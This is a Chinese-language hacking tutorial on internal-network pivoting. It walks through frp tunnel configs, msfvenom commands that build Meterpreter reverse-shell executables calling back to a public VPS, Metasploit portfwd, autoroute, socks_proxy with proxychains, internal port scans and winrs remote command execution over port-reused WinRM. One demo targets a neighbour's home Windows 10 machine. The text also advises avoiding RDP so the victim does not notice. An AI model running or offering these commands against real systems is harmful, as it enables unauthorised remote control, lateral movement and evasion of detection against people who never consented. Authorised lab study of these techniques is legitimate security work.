15.内网渗透
0x01.内网解决方案
通常情况下我们拿下的那台机器,如果有内网环境,你可以ipconfig /all 查看一下他的网卡有几个
常见内网保留地址:10.x.x.x、172.16.x.x~172.31.x.x、192.168.x.x
1.端口转发
frp 是一个高性能的反向代理应用,可以帮助您轻松地进行内网穿透,对外网提供服务,支持 tcp, http, https 等协议类型,并且 web 服务支持根据域名进行路由转发。frp是cs架构的,frpc是客户端,frps是服务端是放在vps上的
在使用frp之前,需要一台有公网IP的服务器(外网主机)
frpc.ini
[common]
server_addr = 127.0.0.1 # frps的ip
server_port = 7000 # frps的端口
[ssh] # 这个ssh 随便写
type = tcp # 链接类型 tcp
local_ip = 127.0.0.1 # frpc的ip
local_port = 22 # frpc的端口
remote_port = 6000 # frps上的端口
frps.ini
[common]
bind_port = 7000
首先frpc会链接frps的700端口,验证成功后才会启动,建立链接,当payload回连我们6000端口时,frps会把流量按照我们之前建立的隧道中流传到frpc上,然后最终数据到5555端口上,如果你不理解的话,你可以简单的理解为访问frps的6000端口就相当于访问5555端口,中间的复杂转换可以不深究
实验演示:
winserver2008 双网卡 frps
1.桥接 2.vmnet8仅主机
kali frpc msf
1.桥接
win7内网主机
1.vmet8仅主机
第一步:使用kali上的msf上线winserver2008
第二步:使用会话把frps.exe 和 frps.ini 上传到winserver2008
第三步:使用shell启动frps
frps.exe -c frps.ini
ctrl+z 放在后台运行
channel -l 查看后台的shell
第四步:设置frpc.ini , 运行frpc
[common]
server_addr = 192.168.0.110 # frps的ip
server_port = 7000 # frps的端口
[ssh] # 这个ssh 随便写
type = tcp # 链接类型 tcp
local_ip = 127.0.0.1 # frpc的ip
local_port = 5555 # frpc的端口
remote_port = 6000 # frps上的端口
./frpc -c frpc.ini
第五步:通过某种方式生成一个payload上传到win7,并运行
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.143.130 LPORT=6000 -f exe -o /root/payload.exe
ip是可以和win7通信的IP
端口是remote_port = 6000
实验成功了,但是会话不稳定,极易关闭
实验演示2:
kali 笔记本家里通过wifi上网
vps
隔壁老王 win10 通过他家的wifi上网
实验效果:kali的msf能接受到隔壁老王的会话
vps
./frps -c frps.ini
云服务器的注意安全组的设置
kali
./frpc -c frpc.ini
[common]
server_addr = 112.118.12.110 # vps的ip
server_port = 7000 # frps的端口
[msf] # 这个ssh 随便写
type = tcp # 链接类型 tcp
local_ip = 127.0.0.1 # frpc的ip
local_port = 5555 # frpc的端口
remote_port = 6000 # frps上的端口
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=112.118.12.110 LPORT=6000 -f exe -o /root/payload.exe
成功复现
vps
kali
2.msf中的portfwd
上面是借助frp进行端口转发,实际上msf中自带的也有端口转发的功能
拿到一台双网卡的session
portfwd -h
添加端口
portfwd add -l 33389 -p 3389 -r 192.168.143.129
原理:通过这个会话把192.168.143.129的3389端口转发到本地的33389端口,然后你链接本地的33389端口就相当于链接了192.168.143.129的3389(win7主机)
kali
3.端口转发的实战意义
1.在不知道自己ip的情况下(就是你是内网的ip)可以使用端口转发结合公网ip写payload
2.进入内网
3.规避防火墙的端口策略,比如内网机器不能直接被公网机器链接3389
4.代理
msf后渗透中自带的一个模块,你可以简单的理解为可以通过这个会话把你的msf(所有的工具)直接托到被控机的内网中去
post/multi/manage/autorotue
bg
使用msf自带的端口扫描进行内网端口扫描
use auxiliary/scanner/portscan/tcp
show options
set ports 3389
set rhosts 192.168.143.129 (内网的某台主机)
run
但是目前还只是msf这个工具在内网中,不是整个渗透机器都在他们内网了,使用socks_proxy解决这个问题
use auxiliary/server/socks_proxy
show options
run
jobs
jobs看看代理是否成功
然后修改kali的/etc/proxychains4.conf文件
socks5 127.0.0.1 1080
使用proxychains 链接内网主机3389
proxychains rdesktop 192.168.143.129
内网如果是办公个人电脑,不推荐3389,你链接过去直接对方锁屏了,你说你会不会被发现。及其不推荐
现在你的整个kali渗透机器都在这个内网中了
补充:
/etc/proxychains4.conf
# Proxy DNS requests - no leak for DNS data
proxy_dns #取消注释就可以用proxychains nmap 扫描内网的服务了,但是不推荐icmp和udp 协议不支持,推荐用msf自带的扫描
5.端口复用
一个端口正在用,端口里面的流量可以根据你的内容转发到不同的端口上,就比如你开一个80端口是web服务,如果你接受到ssh软件发送过的内容,然后转发到22端口上,而且不会影响你的web服务。但是22端口也是要开的
用的特别少,基本上也没什么人用
1.tcptunnel
GitHub搜索,个人感觉对于你访问服务之需要记住一个端口就ok了
2.winrm
winrm quickconfig -q
winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"}
winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port="80"}
攻击机
# 启动winrm
winrm quickconfig -q
# 设置信任主机地址
winrm set winrm/config/Client @{TrustedHosts="*"}
winrs -r:http://www.aabbcc.com -u:administrator -p:Password [命令]
windows自带的netsh
linux自带iptables